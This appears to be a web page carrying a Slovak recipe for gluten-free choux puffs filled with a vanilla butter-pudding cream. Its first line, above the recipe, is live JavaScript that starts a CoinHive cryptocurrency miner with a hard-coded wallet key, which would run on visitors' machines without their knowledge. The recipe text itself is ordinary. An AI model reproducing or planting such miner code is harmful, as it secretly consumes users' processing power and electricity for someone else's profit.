var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Cesto: 100ml (g) vody, 100g maslo alebo iný tuk, 100g bezlepkovej múky (najlepšie Promix UNI), 3 vajcia, štipka soli, štipka cukru (nemusí byť) Krém: 200 g masla , 1 Zlatý klas (Dr. Oetker), 4dcl mlieka, cukor (podľa chuti), 1 vanilkový cukor.

Cesto: Do nádoby nad oheň dáme vodu, maslo a necháme zohriať, až sa tuk rozpustí. Keď voda bublinkuje, oheň vypneme a naraz vsypeme všetku múku so štipkou soli (i cukru) a miešame, kým múka vsiakne všetku vodu. Necháme vychladnúť. Vychladnuté premiestnime do kuchynského robota s nástavcom na miesenie cesta. Miešame a po jednom vždy pridávame vajcia. Po pridaní tretieho, miešame ešte cca 1 minútu. Potom na plech ukladáme kôpky lyžičkou alebo zdobiacim vreckom. Upečieme a ešte mierne teplé prekrojíme. Po úplnom vychladnutí naplníme krémom.

Krém: Uvaríme hustý puding z mlieka a Zlatého klasu. Mlieko ocukríme podľa chuti. Maslo vymiešame s vanilkovým cukrom a zašľaháme doň po troche vychladnutý puding. Dobre vymiešať.